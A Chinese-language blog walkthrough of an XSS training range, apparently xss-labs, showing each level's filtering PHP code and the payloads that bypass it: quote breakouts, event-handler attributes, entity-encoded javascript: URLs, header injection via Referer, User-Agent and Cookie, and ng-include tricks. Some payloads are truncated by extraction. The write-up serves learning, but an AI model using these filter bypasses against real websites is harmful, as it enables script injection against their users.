又完成了一个靶场,巩固基础才能更进一步
一进来就有一个Get参数
F12查看源码,发现name就是用户名,并且回显到h2标签中
DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() {
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
script>
<title>欢迎来到level1title>
head>
<body>
<h1 align=center>欢迎来到level1h1>
<h2 align=center>欢迎用户testh2><center><img src=level1.png>center>
<h3 align=center>payload的长度:4h3>body>
html>
从JS部分可以看出,需要调用alert弹窗过关
构造payload
?name=
弹窗后就跳转到第二关啦
第二关给了一个输入框
查看F12发现还是要弹窗,于是插入
发现并未弹窗,是什么原因呢,我们F12看看
发现我们输入的符号<>变成了html编码
看到源码,原来是使用了htmlspecialchars函数将特殊字符转成html实体
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
$str.'">
';
既然,上面的
">
这一段进行注入,我们用双引号将前面的语句闭合,然后构造alert即可
最终payload如下
">
效果是这样的:
界面是这样的,二话不说先试一试
发现没有效果,还是查看源代码
把两个地方都编码了
我们构造标签事件进行注入,payload如下
’ οnclick='javascript:alert()
我们看看代码的变化,发现原来的输入框多了一个onclick属性,这样每当这个输入框被点击时就会触发其中的javascript伪协议,调用alert函数
我们点击输入框,成功通过
同理使用onmouseover和onblur也是差不多的效果,分别是当鼠标经过时触发,获得焦点时触发,取消选中时触发
’ οnmοuseοver='javascript:alert()
’ οnfοcus='javascript:alert()
’ οnblur='javascript:alert()
直接用上一关的payload发现无效,查看源代码
原来是单引号改成了双引号导致没有闭合,修改为双引号即可通过
" οnblur="javascript:alert()
使用上一关的payload,发现没有效果,查看源代码
原来是属性部分把on改成了o_n,源码如下:
$str = strtolower($_GET["keyword"]); $str2=str_replace("
看看会发生什么发现script被过滤了,中间插入了一个下划线(被挡住了看不清)
源代码如下:
$str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);
因为我们的语句已经在a标签内了,于是直接使用js伪协议执行alert,但是script会被过滤,因此我们使用编码绕过,payload如下
keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert()
经url解码后为
keyword=javascript:alert()
中间的就是
javascript
的unicode编码,在解析时才会解码,因此可以绕过过滤成功通过
Level9-注释绕过
使用上一关的payload发现不成功
if(false===strpos($str7,'http://')){ echo '
'; }else{ echo '
友情链接$str7.'">友情链接'; } ?>
.原来是需要
http://
,我们之间在最后面添加http://
,并使用注释将其注释掉javascript:alert()//http://
成功绕过
Level10-onclick+type
变成了没有输入框的形式,不过有一个Get参数
插入
试试
后台代码如下:
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "
没有找到和"
.htmlspecialchars($str)."相关的结果.".''" type="hidden"> .'" type="hidden"> .$str33.'" type="hidden"> '; ?> 发现t_sort参数只是过滤尖括号,使用Level3和Level4的方法绕过,不过要多加一个type参数,让该标签变成text类型,才能显示出来点击得到
?keyword=1&t_sort=" type=“text” οnclick="alert()
点击之后就过关了
Level11-Referer
看到源码比上一关多了一个标签
好像是从referer中取到的,于是修改referer尝试
执行后页面源码变成了:
点击新出现的文本框过关
Level12-User-Agent
没活了,这次是User-Agent
payload如下
" type=“text” οnclick="javascript:alert()
写道User-Agent中即可
源代码变成了:
点击过关
Level13-Cookie
看名字猜到是Cookie
看到进来时的Cookie是这样的
把上一关的payload放进去即可
user=" type=“text” οnclick="javascript:alert()
代码
成功通过
Level14-iframeExif
这关应该是想同图片的Exif信息回显,达到注入的效果,不过目标网站访问不了,只能作罢
Level15-ng-include
这关的参数是一个gif图片的文件名
看到参数拼接到了ng-include后面,简单搜索一些ng-include是文件包含那样的作用,于是尝试包含一个同样有xss漏洞的同域名下网页,第一关显然非常合适
确实是包含进来了,不过为什么没有alert呢,简单搜索一下,是因为ng-include包含进来的页面,其中的script部分是不会执行的
所以要试一试其它方式触发当前level15页面的script脚本,虽然不能执行level1的script,但是可以把一些文本框包含进来,在level15触发
?src='level1.php?name=’
点击文本框即可触发,也可以下面这样
?src='level1.php?name=’
这个意思是添加了一个图片,图片来源是1,但是因为找不到1处的图片,所以就会触发onerror,调用alert函数
Level16-过滤空格
这次的参数被插入到了
标签中 源代码如下:
ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4); echo "
" .$str5.""; ?>发现过滤了大小写、script、空格和/,使用换行符替换空格即可绕过
换行符的URL编码为%0A
也可以使用a标签和编码绕过
使用img标签也可,这些方法在上文都有介绍
Level17-embed
这关应该是注入到embed标签内,不过我电脑里的Chrome、Edge、Firefox都已经不支持flash了,所以测试不了
源代码如下:
ini_set("display_errors", 0); echo "
如果可以加载,可以试一试如下payload
?arg01=a&arg02= οnmοuseοver=alert()
Level18-embed
这关也是加载不了
ini_set("display_errors", 0); echo "
Level19-flash
flash无法加载
ini_set("display_errors", 0); echo 'htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; ?>
Level20-flash
flash无法加载
ini_set("display_errors", 0); echo 'htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; ?>
总结
后面有几个关卡没办法做,感觉很可惜,不过flash快要被淘汰了,感觉以后也不太可能遇到这类题,图一个轻松吧。